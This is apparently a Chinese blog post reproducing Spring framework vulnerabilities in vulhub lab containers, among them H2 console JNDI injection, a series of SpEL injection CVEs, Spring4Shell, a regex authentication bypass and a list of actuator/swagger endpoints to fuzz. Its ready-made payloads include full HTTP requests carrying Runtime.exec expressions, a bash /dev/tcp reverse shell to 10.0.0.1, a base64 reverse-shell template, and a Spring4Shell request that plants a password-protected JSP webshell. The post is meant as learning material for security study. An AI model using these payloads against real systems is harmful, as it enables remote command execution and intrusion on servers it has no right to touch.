以下漏洞复现大部分来自vulhub,本篇文章主要是为了熟悉和理解常见的漏洞的攻击流程,当然也有我自己的一些原理解释。
漏洞原理
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。影响版本
Spring Boot中使用 H2数据库。只要设置不当就会出现该漏洞
漏洞复现
访问路由 /h2-console
来到页面
自己搭建好rmi服务器且弄好http加载恶意类,但是我们可以直接使用大佬的集成工具,JNDI一键帮忙搭载好了:https://github.com/welk1n/JNDI-Injection-Exploit
开启恶意服务器:
设置好-C执行的命令
(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)
攻击之前先进入容器查看一下确认不存在hacker文件
(因为我们执行的命令是touch /tmp/hacker)
按照你java版本(1.8以上建议选第一个就行)选择rmi地址,然后在web漏洞存在的页面上输入
javax.naming.InitialContext
rmi://your-ip:1099/9b8j4m
点击连接即发起攻击 rmi服务器有反应
容器内可以看到就创建成功了
漏洞原理
参考:https://blog.knownsec.com/2016/10/spring-security-oauth-rce
注意:参考文章中访问的url和vulhub给的不一样,我下面是按照vulhub的来。
简单来说:这里的SpEL注入,造成注入的原因是渲染了错误信息,由于errorSummary被装入model,然后进入函数后递归提取SpEL表达式执行。
影响版本
Spring Security OAuth2 2.0.0 ~ 2.0.9
Spring Security OAuth2 1.0.0 ~ 1.0.5
漏洞复现
访问 /oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test
需要登录的输入admin/admin
然后就会发现我们SpEL注入的表达式就在:response_type=${233*1}
那么就可以通过脚本:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py 来生成对应的SpEL表达式
使用脚本之前先进行编码,这里将你要执行的命令编码一下,这里使用base64,要进行一次反弹shell操作。
然后使用poc.py脚本生成SpEL表达式,
格式为:bash -c {echo,你生成的base64编码放这里|{base64,-d}|{bash,-i}
然后再服务器开启监听接受反弹shell
接着就可以将poc.py的那一段payload放进参数response_type=${payload这里}
可以看到反弹shell成功
漏洞原理
参考文章:https://yaofeifly.github.io/2017/06/13/Spring-Web-Flow/
简单来说:我们需要额外增加一个参数,且以_开头的,作为payload来传递到后台进行解析,而根本原因是addDefaultMappings函数中对我们传递进来的parameterNames进行绑定解析,而解析的类为expressionParser,该类expressionParser的默认值可以解析SpEL表达式,所以通过控制参数造成了SpEL注入攻击。
由此可知还要有前提条件:
MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改
webflow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点
影响版本:2.4.x
漏洞复现
来到登录页面
/login
访问:/hotels/1
进行预订酒店
随便填写,然后提交
开启抓包,点击comfirm
这里进行一个反弹shell功能,那么在服务器先开启nc监听
然后填入反弹shell的payload:(记得将payload进行url编码)
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
进行url编码↓↓↓↓进行url编码
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub
发送数据包,返回500是正常
查看nc已经看到反弹shell了
漏洞原理
参考文章:https://tech.meituan.com/2017/09/29/spring-data-rest-cve.html
简单来说:通过提交一个PATCH请求op为replace,调用父类PatchOperation的evaluateValueFromTarget方法,但是这里存在缺陷,没有检查路径是否符合逻辑,那么就导致setValueOnTarget往后的参数值继续进行SpEL表达式解析。
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞复现
容器开启后直接访问:/customers/1
抓包修改为:
该SpEL表达式操作为:touch /tmp/success
,具体执行命令可以自行修改字节来控制。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
放包前查看容器内是否存在该文件:
docker exec -it 3b2e846b1012 ls /tmp
放包返回400
返回容器查看就被创建出来了
spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
提取大佬的总结:
说白了就是先订阅,这个动作就是建立好连接了,后面都必须要使用这个连接,然后通过这个连接去触发你在订阅的时候插入的恶意payload,但是这个触发是按照真实环境来看的,也就说你需要找到建立连接后哪个可以进行send动作的路由,这个路由是开发者在开发的时候定义的,所以你需要找到后才能进行发送。
如图所示:先connect 然后去send,就通过这种方式来攻击。
(ps:本人在抓包的时候尽力建立同一个连接来进行发送,但是就是无法通过抓包形式来建立好连接,所以真的就只能使用poc脚本来攻击了)
影响版本
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
漏洞复现
虽然我的电脑无法通过抓包来复现,但是还是要过一下流程
1.开启靶场
2.点击网页中的connect抓包,发送payload
"SUBSCRIBE\nselector:T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"
3.如果你的建立成功了,也就是说网页中的disconnect可以点击的话代表你已经成功连接了,然后点击send发送抓包。
(这里无须纠结为什么是app/hello,因为是demo让你复现的,真实环境的话你自己点击下出现发送send的数据包就抓下来即可,其实你点击发送就已经是攻击成了,主要是你在建立连接的时候,是否成功插入payload进去)
["SEND\ncontent-length:16\ndestination:/app/hello\n\n{\"name\":\"aaaaa\"}\u0000"]
如果你查看容器下/tmp/有success就代表攻击成功了。
由于本人这种方式没有复现成功就使用攻击脚本来复现,脚本能够帮助你一直使用这个连接然后就不用抓包放包等建立连接了。
下载脚本:exploit.py
如果你是使用vulhub靶场来复现的只需要修改56行即可(如果不是就自行找到订阅和send)
先查看确认靶场内不存在success文件(因为攻击命令就是创建success文件)
然后直接运行py脚本,
这里我修改了一下脚本,将发送的data数据打印出来了,攻击过程更加清楚。
可以看到就是实打实的三步骤:
1.先建立连接
2.发送订阅,订阅消息中加入了SpEL恶意代码
3.发送消息,触发SpEL解析
查看容器发现已经成功创建文件
/users
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
发包之前先确认一下容器内不存在/tmp/success文件,因为我们攻击的代码就行创建/tmp/success文件
然后发包,返回500
查看文件确认攻击成功
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2.刷新添加路由且执行SpEL
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3.查看执行结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
再次查看就可以发现文件创建成功
SpEL注入相关漏洞到此结束。
下面就不是有关SpEL的一些Spring漏洞了。
漏洞原理
vulhub解释:
在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定进行的远程代码执行 (RCE) 攻击。特定漏洞需要应用程序在 Tomcat 上以 WAR 部署运行。如果应用程序部署为 Spring Boot 可执行 jar(即默认),则不易受到攻击。但是,漏洞的性质更为普遍,可能还有其他方法可以利用它。
影响版本
Spring Framework 5.3.x ~ 5.3.18
Spring Framework 2.x ~ 5.2.20
使用tomcat < 9.0.62 部署spring并且使用了POJO参数绑定
漏洞复现
随便抓包,修改成以下数据包(记得还有两个回车)
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
然后就能直接远程使用命令了
访问:/tomcatwar.jsp?pwd=j&cmd=id
,cmd就是你要执行的命令
httpSecurity.authorizeRequests().regexMatchers("/admin/.*","你传入的uri").authenticated();
.*
,因为.是不匹配\r\n(即%0a或者%0d),所以当你传入\r \n的时候就会匹配出错,导致返回false,那么就不会进行认证,那么就绕过了直接进入后台。下面是常见的信息泄露路由
可以通过字典进行fuzz
或者
可以使用github上的开源扫描工具:SpringBoot-Scan
/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
比如↓(真实环境,所以厚码附上)
(spring不止这些漏洞,只是从vulhub中的漏洞进行复现以及解析理解)
后续等本散修突破境界有能力之后会尝试开设相关漏洞源码分析。